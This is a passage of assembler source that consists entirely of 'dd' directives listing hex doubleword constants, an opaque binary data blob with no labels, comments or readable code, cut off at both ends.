0B97895D8h, 5EF33112h dd 5926F0A0h, 52834208h, 8DAC2568h, 0E857E560h, 452D77EBh dd 0CD368047h, 102E2936h, 9B471E9h, 7DDA685Bh, 4A70CD1Bh dd 895C2738h, 0F21866E9h, 4E56095Ch, 0FDD6995h, 78B4C9E3h dd 54CC98BDh, 724AD9F5h, 0C52913D7h, 9C0BBD58h, 48022FFDh dd 5FD3E950h, 75D42DAh, 90F2F730h, 0BABFBBFAh, 4570A9EFh dd 59CA0BB0h, 96BDAEF0h, 137B5AB4h, 0B408EDA0h, 4E2580F0h dd 82C3E95Dh, 83A10806h, 3BF5FFCCh, 36EC747h, 11BDEFC1h dd 0BED36015h, 2D6D4A01h, 34CDE94Ch, 0C45E2862h, 2C2CAA4Bh dd 0DF212AE9h, 3EC32680h, 9A8F9B25h, 4213444Fh, 982126B0h dd 0BBB800Bh, 7936E931h, 97041F48h, 0BF375027h, 5859F990h dd 3FF52F68h, 1309A11Ah, 1FCA9200h, 45015672h, 42D3F581h dd 817B3A14h, 3E271C03h, 0E913AD9Ah, 92741C9h, 2A5A1C57h dd 0BE7475D8h, 74782F38h, 959E63Ah, 0B2D13170h, 0B67D619Ch dd 3302BE01h, 525E16F9h, 0E9139AF2h, 7EF4B141h, 0F4D31382h dd 125E27FFh, 919CFFDAh, 894546B4h, 1CF096F5h, 67A5FFCh dd 3644290Ah, 0F2345F98h, 0BA9A2E7Eh, 844FB64Ch, 0AB8484B0h dd 3CD00061h, 52D2F700h, 595A511Eh, 8BD304CAh, 14F82997h dd 25D6ED4Eh, 5FBDE25Fh, 2BFF1999h, 365EE5Dh, 74F129BEh dd 0D8288076h, 57E36813h, 93B72830h, 2DF70480h, 0B9AA6DE9h dd 0E05A51E4h, 1256747Eh, 96050C1h, 4BD13414h, 562F0787h dd 0E3C02038h, 601D3252h, 6CBF0C30h, 67900F82h, 0A19B340Bh dd 501609ADh, 0B2520233h, 5AD330FCh, 44C16442h, 65102538h dd 0B4E968D1h, 7E0032AFh, 0B643ECDCh, 756FD7B3h, 0C42E29B3h dd 57B1C700h, 68017867h, 908BCCFh, 8BE2B7E9h, 0AC286076h dd 9B20FF5Fh, 72C8BE0Fh, 570C6F68h, 9137F968h, 0F726BA82h dd 0C2869214h, 0C67DEB24h, 0FB2DD080h, 482A525Ch, 0F304BD5Ah dd 0F849081Fh, 0AE844FEBh, 65600787h, 0B5521A0Ah, 32284747h dd 64B7064Ah, 65ABD14Eh, 0E2456C69h, 4D5031C7h, 635E410Eh dd 0E01E2813h, 0A52A7768h, 58C6892Ch, 4A341E7Fh, 134DE753h dd 5E40ACE9h, 592974BBh, 0E65A9F2Fh, 0A6D68702h, 7DDE01D0h dd 857C4432h, 8A8512Fh, 0FE14CA3Ch, 0C054139Fh, 9313CE4h dd 5276A704h, 44094250h, 80817ADDh, 620605ADh, 3DC82DE9h dd 510833D3h, 9E9524F2h, 14794C0Ah, 460CBF24h, 0C67D8649h dd 0F25500A3h, 0D4C18118h, 504E9504h, 0E0E190C0h, 3BFA0430h dd 0D4998BE9h, 0F892EB19h, 0B6CC5755h, 0DF0B1298h, 811BD628h dd 0DCE90694h, 0B9015828h, 446D111Fh, 79642081h, 625F8E30h dd 7CF23556h, 54F10916h, 0C600D215h, 424A21EEh, 0CE015504h dd 15A8C0E9h, 4424AC3Bh, 0F3808015h, 0DE8852FEh, 9CFAF0E4h dd 0C31A226Bh, 92A9C1EAh, 0E6E5D87Eh, 0B84ADB40h, 2F0B7DF6h dd 0ED58548Ah, 6CCCB580h, 5DB826FAh, 0D9075Ch, 259B2491h dd 0BD41CFE9h, 6F253767h, 93E9869Fh, 68628B91h, 5D30A613h dd 1359973Ah, 6915C1A6h, 9C542632h, 0A8D5BE92h, 0FECD94D8h dd 0E6AB5BA7h, 5252590h, 0D1E2BA0Bh, 425FED1Ch, 0D5014606h dd 31259A40h, 0E9296209h, 0BD1658B2h, 0F9C14AC2h, 79A95719h dd 0BC88D689h, 0A37D07F4h, 5F0540F7h, 11904772h, 0FC19B825h dd 77F53C3h, 6C02785Bh, 5D47C280h, 0DE30E8E0h, 0BB4FE1FAh dd 1C20B52Dh, 0E17912CCh, 38DC007Bh, 0E9841E86h, 0B20B675Ah dd 6231F121h, 816A8EE9h, 87F47F40h, 0B8B49882h, 0DD649F99h dd 16402AF0h, 3AA3368h, 4F4A3443h, 2F70791h, 74C42078h dd 0C83107D2h, 94491A77h, 2DD1955Eh, 0E9C34CA4h, 81710075h dd 4239C7E2h, 0D5756859h, 0F01221CBh, 6957760Ah, 0D3D0AD69h dd 60F38102h, 76536Bh dd 98B43CFEh, 5E48297Ch, 7F7A0757h, 0CBF0398Dh, 60D93BC5h dd 981D3622h, 8595D144h, 6CC1318Eh, 317A19BDh, 7FAC6AC6h dd 2F92F531h, 7CD613Ah, 0C2BB0089h, 49284806h, 5B94A210h dd 81C7ED04h, 604E0012h, 4D06EC77h, 7F5D80A0h, 86EE25h dd 38F40585h, 0B2125D43h, 0F29AA417h, 706D89B7h, 0F75B4F35h dd 5B3C3AC8h, 8E20C89Dh, 9A2E1280h, 7E730C0Eh, 5030E90Dh dd 0CEEA5FE8h, 19DB3D11h, 5A018C90h, 0A7034185h, 0B53C3D60h dd 18972EABh, 5AEF18E9h, 0F497BA31h, 2FF59CD7h, 0E989ADE7h dd 0BF1720CDh, 5EAB7854h, 55740970h, 742AAD00h, 893D03C4h dd 91B260FDh, 761E4B1Bh, 829DB029h, 88FB5408h, 680E9959h dd 5AE33222h, 18655D2Dh, 8AAC712Dh, 84F127FBh, 0C102B60Fh dd 3E52F24Fh, 79F54321h, 0B34DCC4Ah, 0A95604D3h, 8975ABE5h dd 27171CF9h, 0E67EE8D2h, 43F10248h, 0D1E921FCh, 64521978h dd 6BCD1047h, 0B25AAEC8h, 0BA94FF01h, 0B8887C94h, 5EFB20BDh dd 14C38E79h, 2BA25058h, 74309774h, 26E92819h, 9254A699h dd 6D75BF5Fh, 44EFBF0Ah, 0B5B4E978h, 0D995A746h, 2C7FBBB2h dd 89AFAD96h, 591EB68h, 5C163A4Bh, 0E9A84EA8h, 0C4935524h dd 4A055940h, 17BF472h, 389DF52Dh, 70C32177h, 0AB4F8F89h dd 17E58C9h, 3A488EA6h, 0CE208A2Dh, 0EA81AD15h, 35F71F73h dd 3F750C82h, 16F73C40h, 0B9BA2084h, 8F3A7BAAh, 18BFE455h dd 5D14FFE9h, 241ECEF2h, 0A0CB6E95h, 725FD108h, 4029E82Bh dd 2DCF17D5h, 0E90FDCE5h, 7FAE3A88h, 0C621D103h, 2ACB7BD1h dd 0A2A5F746h, 2D5B290Ch, 2CD1ADEAh, 0F6F17D42h, 89876833h dd 9EC6B768h, 36E9550Bh, 0C650E817h, 5A04043Ah, 0C4FE0148h dd 4A08142Dh, 31E95BB0h, 86CC874Dh, 0E010D642h, 82C6A5D8h dd 5B4A6851h, 3CB640A2h, 0E795407Fh, 0A0989DDAh, 10D77806h dd 36255FA2h, 7A28B451h, 9FCBCA2Ch, 5B2085E2h, 0D1D2960Fh dd 277DDE0h, 42B4FC88h, 6675CC25h, 0AD4BBD1Ah, 0C010DC3Bh dd 666E122Ch, 0F5FA0E5Ah, 57A644F0h, 4FE92240h, 0CA5E43E4h dd 45A252A9h, 8350C257h, 92F2124Fh, 0E2895F88h, 545159A0h dd 0B77EE9h, 4D3825C2h, 54E03F8h, 3561797Bh, 68669A8h dd 58C138C1h, 6CCA3768h, 46C79600h, 0CC4C84F1h, 0A3C3B041h dd 0E5FB61DEh, 7333A8E9h, 0BB5301DDh, 2C23386Fh, 0B480C82h dd 0F0C02201h, 84B69E61h, 3CAF449h, 7CB470D2h, 51BC66F9h dd 405A238Fh, 0CAB252F8h, 5EE4BBE1h, 9F5E122Ch, 0E42C80C5h dd 0B7825526h, 60E730B2h, 72885276h, 5AD43AFAh, 44D5E2AEh dd 0BBC7909Eh, 70032857h, 53DBF744h, 61A450FFh, 560C09F3h dd 0E280203Eh, 3937762Dh, 57A13098h, 0B24A3C15h, 5627C253h dd 58F3278Bh, 24F46388h, 4F7028A5h, 0D65FF3C6h, 0B84FF0h dd 12731B4Eh, 81331705h, 0CEA0395Bh, 91543A08h, 4FAF2D26h dd 9AE59541h, 26816C81h, 80033E42h, 79795043h, 0D92D1260h dd 7E50AF65h, 0E95A0408h, 0DBCC8771h, 6C6D0B68h, 7D856F37h dd 2C6CA0CAh, 0B652AC0Fh, 97C14FDBh, 9C3CDE21h, 66F88800h dd 0D2F65B03h, 7068D086h, 928058D1h, 0E6D0F22Dh, 0A706BBEFh dd 0E269138Ah, 0E85AC2ABh, 142CC219h, 0BD7A523Fh, 0DAF1012Dh dd 122D496h, 5E607DDAh, 0BC24277Bh, 0A6023B3Ah, 0F749E421h dd 0A6880589h, 997B9ACh, 5EC20928h, 47C2ECCAh, 256FEB5Eh dd 6EC25DEAh, 0E41CF786h, 9DFC5C4Ah, 0D98CFAF4h, 0B7755ECEh dd 285E7B78h, 0F280A0C0h, 7884FFBh, 0EF7DEB9Eh, 0B7098408h dd 9D1A7592h, 805B5D98h, 0E92EE40Bh, 0B40E40B6h, 0E4F67EF5h dd 7EF4FCDCh, 6F536991h, 3C3177DAh, 0D1447F43h, 0A0CDB7Dh dd 8578060Dh, 0C81E669Dh, 0B4047EBAh, 99B828C2h, 0C1583422h dd 35E04E7h, 0B8AC3875h, 4DAF71Ah, 6C2980DDh, 1229B3F3h dd 0F2585AD1h, 5B592DEAh, 903E1574h, 0C5E35870h, 0B040272Fh dd 0CD801C33h, 0F0699D1Bh, 0B04A2BEBh, 4B4FAB23h, 25515C07h dd 0BE9A6558h, 9F47E913h, 59A972FBh, 485A29FCh, 0B775E817h dd 7BD1FA32h, 0D5EBA842h, 33C16393h, 0BA326AC2h, 77885585h dd 0F7EBC537h, 0DDA24E82h, 93E0220h, 0E939E15Fh, 8D6A1108h dd 0D1822F03h, 0B57C6057h, 5782565h, 73A06F78h, 0E7092D2Ch dd 0F4A3E968h, 76FB981Dh, 921F1E65h, 0C4925F31h, 13C166F4h dd 0EA428B28h, 0B3EC8412h, 0D743C602h, 5D29BD74h, 210E80Ah dd 4FCD5ADDh, 5700F8F0h, 81A69BFh, 3BF78165h, 44A8645Ch dd 6A80418Eh, 2258F1F7h, 63896CE1h, 4A5327EFh, 97FB86A9h dd 0E3F050C3h, 0C0FC409Ch, 2704E226h, 0CFCA8000h, 0E00BB753h dd 0DBE927FAh, 3AFC6109h, 0FFB10949h, 0C088F83Eh, 4025142Eh dd 0B35462Ch, 5893D829h, 0EBC10101h, 25DA6103h, 57A33AE3h dd 12C0E692h, 0A43233FAh, 0A7848966h, 0B87150F4h, 29EC4EACh dd 5C58FCC3h, 0BF170055h, 800ED0Fh, 432D5E5h, 1E29C7C5h dd 0E551088Fh, 1BC339B9h, 0E9200C49h, 0CD4C621Ch, 0F92ECF98h dd 2D44F28Bh, 55DD4FEh, 0EFB4F6FFh, 0C262BB69h, 0E08C92D6h dd 0A1901C7Ah, 18E740A0h, 211E9A17h, 0CB450E04h, 4C6D8CAEh dd 52F40241h, 3A4EBF73h, 0B4B215F6h, 3B65B5Eh, 0A5AA3D6h dd 0BECE59E9h, 4CF16860h, 5B0F2819h, 40F498D5h, 0AE0FBEACh dd 920DA110h, 0C2241F49h, 4F3579E7h, 1C58A6CBh, 9444585Ah dd 9DAF31FEh, 0EB872F68h, 541D87E2h, 46BEE3B5h, 93DED25h dd 0B1395DAEh, 8AB808ABh, 26DE4212h, 4BCC088h, 0A254B468h dd 2F553F6Bh, 56FFC1B0h, 4371EA71h, 0A4AA02Bh, 0E6CED617h dd 0E9485DC1h, 0CC2B84EDh, 1150582Dh, 72418B40h, 41FD9B34h dd 62B62A9Fh, 0C83B5C0Ch, 0BF89742Eh, 0BA7DD42Bh, 8E8EA364h dd 76A8782Ah, 6702FACh, 58726AECh, 2F471950h, 3C519B40h dd 0A21342B5h, 0F4C4E489h, 38643918h, 32E2525Eh, 8932C7D8h dd 0D29BB957h, 72282FD6h, 75C1C281h, 0A6331B79h, 26AFEC2Ah dd 0C3F91886h, 0BD100D62h, 340A71FCh, 991205Fh, 0DA683292h dd 433A69C1h, 5E21625h, 3AB56F00h, 25E97440h, 2F999DDAh dd 48E6EED8h, 0FEA7524Eh, 0B4501440h, 0F6818334h, 0A091BACh dd 0FE6B86CEh, 71A501AAh, 0A73680E9h, 9CFB96B5h, 0FE9943C1h dd 6E16E711h, 0CAE4D545h, 0E689B85Dh, 91E09845h, 87EF8474h dd 528685FDh, 766EA6CBh, 3FCCFC1Fh, 0D804CEE4h, 92AE8F38h dd 884B9A7h, 0FC919229h, 0C106A172h, 4D581D4Ch, 36F40F0Ch dd 0E18525E4h, 3B02829Eh, 0FDAD20D7h, 0A2918DDDh, 6D4A5DAAh dd 1A75E209h, 85485D79h, 0B89C6EE9h, 0B417CB2Ch, 68B54541h dd 0AC26EB88h, 0BFA9C70h, 0AE5A02A9h, 59DCE227h, 105DA4C6h dd 35D54EEEh, 0B0E500AEh, 573A5A29h, 30C5E919h, 0CD79C6D3h dd 4C6592Fh, 54828EBCh, 0D4D5C9E9h, 0ED574D62h, 0C9D32BF8h dd 0EB439025h, 562D023Ch, 8928C842h, 38B5967Fh, 0AD34E952h dd 0FA2D4Eh, 9B0D298Ah, 51016A3Bh, 5808039Eh, 78CD0E06h dd 52944DA2h, 0E607CA10h, 6F2FF15Fh, 1D323F81h, 1E6E7852h dd 0F38BC689h, 80CA1ABBh, 0B36B46C5h, 2D8FB72Eh, 4EA63601h dd 6A103138h, 4F7804A3h, 801CC02Ah, 0F607CAC9h, 3E1C0D1h dd 6E07CF3Fh, 0A1523DF1h, 7C09CBF0h, 2CB4FFEh, 7B045B8Bh dd 89CC8E57h, 5DD3B85Ah, 7D8291h, 5B71EB2Dh, 5A8F7D6Ah dd 0F09E1312h, 0F2F25395h, 4368E9A8h, 0A56F469Eh, 0EED37B2Bh dd 87A194ADh, 7A382FC5h dd 0CBBE4B9Fh, 0B3A5CC09h, 0A66AC202h, 8707C470h, 0D0F797FEh dd 7CF50C3Dh, 4B681034h, 5FDAF39Ah, 4E4864E7h, 0F3E0A320h dd 9FEB8012h, 972B93B0h, 0B966F704h, 6FB910F8h, 0B7945B2Fh dd 738939B5h, 8B4B1838h, 0D7C342Ah, 10BAD7C0h, 0BD80BF97h dd 7DD5606Ah, 25B858B5h, 0B503F7E9h, 84934B04h, 0D32CC881h dd 91458997h, 0E98CB202h, 0C17348C3h, 0AD0851EDh, 0C505DD22h dd 0AFBD3441h, 18123900h, 2431D0B9h, 0A68A5BDDh, 0A8DC1275h dd 6302CD4Ch, 0D55D8E8Ah, 4FBE0125h, 0DA015663h, 80C3D42h dd 2B5C5528h, 2C0282AFh, 0B653E16Fh, 0A7357A06h, 0E7022E5Dh dd 75A8177Eh, 46276A83h, 43144F1h, 1B5287EBh, 0E7A80D96h dd 0E9C9E084h, 246D63E2h, 0B0060Ah, 25027C4Ah, 5A67D509h dd 66736768h, 8128242Bh, 0C780981h, 0BEE28080h, 13136963h dd 0CEE01AE9h, 69EF77D1h, 90DFF1A8h, 83331D34h, 4CF8B84Eh dd 899A051Fh, 3C701E9Bh, 685A0780h, 0D9028C25h, 132980D0h dd 0E94F42A3h, 85AA49h, 0A76C5DB9h, 9814143h, 0B44875C9h dd 86025A7Ch, 5FB8AFA9h, 0F821AF82h, 0C1400351h, 5F3108E8h dd 929F0DC8h, 0AE64401Bh, 27BE3C0h, 9D0B364Bh, 521D5E58h dd 0E9C04784h, 86097F96h, 57316C2Eh, 632F14A0h, 3EF3CF7Ch dd 10E42621h, 4028E66Eh, 281340ECh, 0F6B93256h, 9800475Ch dd 8178BF01h, 11043CE6h, 64E97CC3h, 89BB0ED4h, 7D3F4152h dd 398205AFh, 9D1A5085h, 11FCA9BEh, 0DDD2E91Ah, 0ECB576E3h dd 3509BE0Eh, 807F481Ah, 627DE751h, 0BB0CD374h, 69E9B943h dd 0C35B3B07h, 0AD768E97h, 3AC50B54h, 9C26820Ah, 0D82102B8h dd 80B50761h, 0B0ACF1A3h, 7D31CAAFh, 40945FCFh, 3786C3EDh dd 0CBB71CFAh, 0E3DBC87Eh, 0F0FE5E03h, 17B555ABh, 0A4E9098Fh dd 0CC970C78h, 434F02C0h, 555372C7h, 1A02FF76h, 80BD57E5h dd 0E90B96C1h, 968248CDh, 9984088Bh, 6E87BF20h, 40FACAE4h dd 0FE77E33Ah, 0F6EAD0C3h, 0F386D31Eh, 0FF08C61Bh, 0DA30AA60h dd 0D47B26E9h, 285B8AD6h, 0CD570885h, 16E4892Fh, 0C368124Dh dd 0FF374A73h, 1210A6D5h, 5E1EFD6Dh, 569A71F2h, 68DC406Ah dd 0F1A5F3C3h, 52267h, 2701C295h, 79F863C0h, 0DF9D6AEDh dd 13EEE200h, 0C0165E73h, 150DE9A9h, 0F4CD4CB7h, 0F3E65E4Dh dd 1A290583h, 91AE0102h, 7E804CC2h, 22F69B91h, 1E7DB7C4h dd 7907EEC1h, 17862FFBh, 2C51BDABh, 8BE976B0h, 4947BE91h dd 0C5B085h, 79C4EA28h, 86F81D77h, 17936C59h, 66E95604h dd 4274184h, 99FEE588h, 0BDBF603Ch, 5E80EE95h, 0FBDA3368h dd 0F74E5BF6h, 97047CE4h, 0E9131596h, 9CBC766Ah, 53972296h dd 0FB27B1FEh, 4936AF49h, 0A17AF195h, 171426B7h, 0E2F9C5F3h dd 0D238485h, 0FEF731A8h, 14C1399Ah, 5506BDCDh, 2DFC3806h dd 30D0C1ADh, 41F25020h, 99616EB3h, 718D4874h, 3E53AD50h dd 98A76E44h, 0A5AF5A0Ah, 6CAF7AD4h, 3FAF979Bh, 5F40857Dh dd 0C7A600B7h, 5434123Fh, 5B0AA998h, 0EC79C968h, 0D83B2118h dd 14B76453h, 547EB463h, 4E8C455Fh, 1A5C1F5Eh, 4F124B6Ah dd 0F512432h, 0A53C3624h, 523B2022h, 0B5D5CB59h, 13D5A0E2h dd 0B6D40232h, 85EE80ECh, 0DE0E6DF4h, 530EF028h, 0FD40F788h dd 6B045A5Bh, 2C74E8FAh, 0C921E926h, 281C65A5h, 5CCE4060h dd 0DA2EA7EDh, 6A36CB2h, 5974CA28h, 0D028E001h, 0D4C5E951h dd 0B3845122h, 7B3EC220h, 421FBAE3h, 76C284EBh, 0F129B6E9h dd 0EDBF6FDBh, 0F2011C72h, 62D82F29h, 47F4D131h, 7F1A95CEh dd 0B472EC85h, 253CC2A6h, 37BDCEC5h, 0F53CC90Eh, 32F529C9h dd 0E90C0728h, 29C928D4h, 772EC4h, 58E38118h, 0E9348851h dd 73B5D472h, 0AC54127Ah, 0BD55C0B9h, 48F43DB9h, 165E552Fh dd 0A6731C7Ah, 0C26B08A8h, 4BD16804h, 0D94730ABh, 0D9983857h dd 5D4ECB04h, 0B4A033F4h, 0A02502F3h, 0DA29C403h, 0D75DE2D7h dd 1B732C6Ch, 39459D2Ch, 62AD2500h, 0BAD6E9BAh, 56ABCB6Ah dd 652D54FEh, 10D92CA7h, 3E593BD9h, 0CE354BC9h, 4B5E0488h dd 122D8F12h, 0BFE7BC27h, 0BC2C0250h, 0BD4FA8D7h, 419D1C28h dd 34E58FE9h, 5E4BF23Ch, 95EA63B0h, 48BD774Eh, 2D58BBAFh dd 0F101DF5Ch, 6020A3ACh, 154FF62Eh, 79587032h, 69D6086Eh dd 81C5310Bh, 2D0689Bh, 14A3B33Ah, 0D3C45250h, 5B251DA6h dd 69FA18D6h, 0F042F7DBh, 0BFB1571Ch, 7A72B55Dh, 22DD682h dd 0C377F529h, 29AEFC39h, 0CFC86A29h, 7A639F5Bh, 0F105E399h dd 8122E60h, 7D8BDE8h, 1804E8C1h, 5452C831h, 40B26AC8h dd 3AB556C6h, 55D0BE7h, 828DDB32h, 0B72B6E46h, 630B8F70h dd 2F74F1Ch, 46EE067h, 0ADB0C257h, 336DB800h, 645D60A8h dd 47550417h, 2051F097h, 0B9040FEFh, 3A2436E6h, 1CF2DCC6h dd 405942F1h, 79922D78h, 1264F22h, 88EFB6C8h, 0EA6804A1h dd 9C31BF1Ah, 1925E1FBh, 0A80E576Ah, 0DFBD9243h, 7E1031D4h dd 0C12E7DD1h, 0F501CAEDh, 62A1D13h, 2EFAB16Eh, 0CB3B28B5h dd 0B9510FB0h, 3EFC969h, 4F65E9AEh, 5A82A60Dh, 0E24A76CAh dd 96E909E3h, 0E4D4DAE0h, 90C3E8D8h, 9006FD5Ah, 0D697F0Ch dd 120A0C2Eh, 0BC373A7Bh, 0CED0028h, 0E984529Ah, 8517542Bh dd 5F00B8F8h, 0BE9034DBh, 0A4F4BE4Bh, 23BB8828h, 835E9BC1h dd 790FCDC0h, 78294149h, 0B8EB400Ah, 0C958C140h, 3D512544h dd 0F606E08Bh, 3A74C23Fh, 60D848DCh, 0AE1EBD68h, 1820F58Eh dd 0AD5A5EE7h, 0AFCA026Ah, 400B586Ah, 0F8DF75BBh, 0D789275Dh dd 4724AF14h, 0B01F3F4Fh, 0CE723B4Fh, 0FA7942E6h, 3C75FE69h dd 4954C682h, 69E22CB0h, 0D6016E48h, 245BD1EEh, 188679F2h dd 0B9022470h, 6BB01257h, 3F46D449h, 9304CF0Bh, 72CBBA07h dd 0E4749769h, 0C9DC4971h, 9D0616CDh, 88A5012Bh, 3038F659h dd 0DE160763h, 1CFAAB0Bh, 27E8D068h, 82B6B358h, 217C09CFh dd 893AF16Bh, 0E4765F68h, 5AAFE963h, 0CEBA81BBh, 0B02D0178h dd 0BD3A8DF0h, 0B316B28h, 0E3656C55h, 39171411h, 843CA867h dd 5331BF57h, 94287B09h, 6DC3B5CDh, 50E590CDh, 8012C7B4h dd 601112F4h, 2E3B5897h, 2C1D8C88h, 849D2F3Eh, 97FA6693h dd 0D9115BF5h, 0E7BA60D2h, 0F35C240h, 151043EEh, 2B50A84Bh dd 2248912Dh, 0A6187Ch, 7CF78147h, 53C44417h, 5486CC01h dd 0C8702FAh, 3B94C319h, 7F07504h, 0D616F787h, 68500B08h dd 0C29A5F76h, 0F3823144h, 0EA71F95Eh, 5E57490Ah, 0A25F12DBh dd 0BBF5D358h, 24AF3321h, 0E9179D9Ch, 0D1BCF984h, 0E3445ACFh dd 0D343E47Ch, 6FC7431Eh, 0E5E43BDFh, 2A95C2h, 0F705E5C1h dd 54B4D54Bh, 0B7E302A2h, 0AEDEE97Ch, 0DC026802h, 0FB6DCF7Ah dd 0F8E6041Ah, 0D95D2DB9h, 0D2245B41h, 546B556Bh, 0BBC6C4B5h dd 9056EB32h, 17ACBD07h, 0AD0BDA20h, 4B0CD0F4h, 0D75EE2F8h dd 0FCBAB41Bh, 80EFF103h, 0BDEE1D92h, 565A25B7h, 54567A11h dd 0D955A65h, 5C5BDE01h, 0B441136Dh, 3B6119F6h, 90BCD960h dd 0E946161Bh, 50E9E39Ah, 11306B9Ch, 3BCFB893h, 243CE452h dd 8148EFC1h, 0B8578EAh, 0DA0E844Fh, 988184BBh, 0B196FD08h dd 9856FFEAh, 980428AFh, 842053B6h, 899C51EEh, 89B6ADBEh dd 0CA84FEB3h, 41F3A0B1h, 15F22BCBh, 3FED697Ah, 0A0BB9C83h dd 760D7F7Bh, 0DC227849h, 3A58CD78h, 77050307h, 834A637Fh dd 323501C0h, 56CA071Dh, 0E5DF7E4Eh, 7FC78942h, 2941237Bh dd 0B864B9C2h, 0C88FD83Bh dd 3264615Ah, 0E93828EAh, 0F700074Ah, 40A73DB8h, 0FFD0F4B7h dd 0C84ECC7Eh, 0D4BEC39Dh, 9040991h, 58C3FB89h, 21C2BF7Eh dd 0DD96D7C1h, 906CACF7h, 0B05FA210h, 0D1952624h, 0B753C026h dd 0F75886A7h, 9E8F2410h, 0D125389Bh, 8F7BB1DDh, 0D96E26E0h dd 3250E4A5h, 8D1F767h, 792521E4h, 18C3C46Bh, 411CA468h dd 0D9B76A2Bh, 60B5C2C9h, 7D7CE2DDh, 3EDB483h, 80050607h dd 0C33331F5h, 0C7EB83F4h, 3E72B62Eh, 955F70FAh, 7F4B41D1h dd 0E97859B4h, 29BED953h, 0A4427958h, 5D12A19Dh, 0E66A1468h dd 9668C36Eh, 0C43D1040h, 6F2914DDh, 9897108Ch, 63277F48h dd 0CC9712E6h, 0B9EF5E08h, 257A4C20h, 6B187C19h, 0CBF08255h dd 0E3FDA907h, 1308C0DCh, 12396629h, 95175003h, 0BE058818h dd 66A27D4Bh, 10EF8B4Fh, 3013B755h, 0B1F1E8F8h, 312FAC7Bh dd 46CD8ACh, 67219813h, 0AF04ADFDh, 0FC5DDD9Ch, 6349205h dd 3B3D27BFh, 0DD078064h, 0E99BC4C2h, 0B9F32265h, 5E892127h dd 79D07376h, 0B037AE95h, 90F397BDh, 24093A88h, 6A46032Ch dd 0D7DA2F40h, 7468E4E8h, 0D1E72B62h, 0B36607CAh, 6A51145h dd 0F1821848h, 9FF8CD4Dh, 7EB05849h, 0E5B67095h, 0A0E6801Ch dd 0FE6FCEC7h, 0F6F1103Ch, 2082B0F6h, 0EC9DE2A1h, 7BAE200Eh dd 4113BA75h, 0C0E04C4Fh, 0CB472D4Bh, 8938C1FCh, 8F2AC801h dd 53A6C0B6h, 4BD709B9h, 27F6EC5Ah, 9FBF957h, 0C822DAE9h dd 48F7C331h, 9562A283h, 0C688D810h, 3A50583Eh, 77A7CAE4h dd 80F7EE40h, 79B75854h, 0EEE9C121h, 169337FEh, 0ADFD2BB9h dd 0F0C5E9A0h, 4F6194B7h, 8BC40FCBh, 0F91D9953h, 0E7497E23h dd 3ED572EAh, 1EB3DA01h, 2B3C04Dh, 8006060Bh, 0CB4D86C1h dd 40CDB093h, 0F85829F6h, 0B2E0111Bh, 0F9EBB57Eh, 0E4DF45DAh dd 3CB780EDh, 471B3E05h, 31C95498h, 807809F1h, 0E554417Bh dd 6C4F29D9h, 0B9D217E8h, 7BF84C1Bh, 0A59AC597h, 546A7059h dd 0B8058E38h, 750C962h, 79FC3D15h, 6EE23BF7h, 0E93C3A34h dd 22E90CD1h, 0EF5822EDh, 19408321h, 0E7116D2Ah, 0BFC1E8A4h dd 0FE3C196h, 0D03216h, 0F1176FBBh, 0DD2138h, 0AC68575Bh dd 5F345E3Dh, 0A2394698h, 0D8362D3Fh, 28AD02C8h, 0FD2977FAh dd 780201F4h, 0F6750511h, 0C05312A8h, 5BDA21C6h, 0E44FB298h dd 0B5C32A88h, 5F481D7Ah, 18F41237h, 0FC1069CAh, 0EB052FB7h dd 0E35FD195h, 0E8D2B43Ch, 2121A408h, 206E6133h, 6A685BEDh dd 52CC5C5Ah, 4A3675ADh, 7972EC1Ah, 9687440h, 1EF73FCAh dd 0B9025B82h, 36C25F05h, 250A0A0Bh, 0DC17E5C4h, 2604293Fh dd 8AAF5AD3h, 0BEA426Bh, 0B859B368h, 56DFE919h, 6F4C5E22h dd 0D82F7238h, 0D5683D99h, 0C55A7C7Fh, 9F986EBDh, 0B4E913FCh dd 127C9810h, 0E0134355h, 91A8505Ch, 0BDBA1663h, 80D6B707h dd 33BC8EFh, 2CD7F60Ah, 201FDB0Ah, 0B50B20E2h, 517100A0h dd 97463A26h, 0E04F8510h, 0A77741B6h, 0E62C7EF1h, 0D5E91658h dd 0E9D994F0h, 0A7B15A34h, 3E72D32Bh, 0B2C50B00h, 0FE59EC28h dd 145348C4h, 35931C13h, 7345AF61h, 0EA346F6Ch, 52CB1EA9h dd 18594474h, 0A02F40F1h, 4A007765h, 0B8506094h, 17AC079Fh dd 0A148E9C4h, 0E5ED7521h, 0CA3C26h, 0D275C8BAh, 0E4FA3122h dd 4608D2D7h, 0D76E0CB2h, 53873400h, 0EF64ACBBh, 843FE331h dd 0D6A51FA4h, 1AD8D010h, 27138A54h, 1BFDBF7h, 9562D00h dd 1EF3D868h, 0E0F4503Bh, 0D566F518h, 94E9132Eh, 0F7C4B580h dd 4FD6BD94h, 0B07248ECh, 6D5095F4h, 0CE958F9Ah, 654FFA76h dd 0C79DA760h, 0DB494FAAh, 83419341h, 0EA68BE46h, 6CE354h dd 1707B837h, 5D057B63h, 0E3D92600h, 8AE9C389h, 84A0958Eh dd 4F521115h, 5A0EC097h, 537B1D19h, 6D458568h, 283B83Eh dd 31B85802h, 13B7D401h, 3A2201C6h, 28292D7Dh, 0C9810365h dd 8F3B1815h, 0C2DB406Fh, 4E29D459h, 28698BCEh, 4CC138C6h dd 1C5D150Dh, 18B3EA30h, 464BCD16h, 693D7089h, 0E3279821h dd 1EC0EAB7h, 0C923FE11h, 0CD46C489h, 5B20BE45h, 3F141FA0h dd 0C6BA605h, 0F218EA83h, 0E42A2C07h, 0F7C38706h, 560860D3h dd 0A6F0B059h, 7FB8017Ah, 0B63DB441h, 0D234523Dh, 0B5D0B215h dd 6C52F5h, 0C46BC12Dh, 0BF5BD4E4h, 0B210DACBh, 4C582D5Eh dd 8E70975Ah, 0ECF08F20h, 6DBA0468h, 0FF5D746Fh, 0BFE9E230h dd 6B6CB721h, 0D2850440h, 609CBC5Bh, 0E561BAAEh, 1525EDEh dd 8B101B9Ch, 406F6C33h, 214B5A07h, 0F68DE42h, 0FA60F643h dd 42AC54D1h, 4279681Ah, 97CB00B6h, 9D032269h, 0F8A5A4FBh dd 520694C2h, 1BC8E6D4h, 40E4F4C5h, 227E1E27h, 4739D31Ch dd 73DC886Bh, 8313F190h, 7EF15BDFh, 0DF5AE26Ah, 93F8C656h dd 7709E9CFh, 5EC92A56h, 6C662DCBh, 0BA1BE919h, 0D82FFE61h dd 0BF490DE7h, 1AE0274Eh, 6D498190h, 102F7390h, 5A0607F1h dd 0DD78D368h, 48FDF920h, 0E4069050h, 48408776h, 7804680Ah dd 2C07E331h, 0FBAE4BDDh, 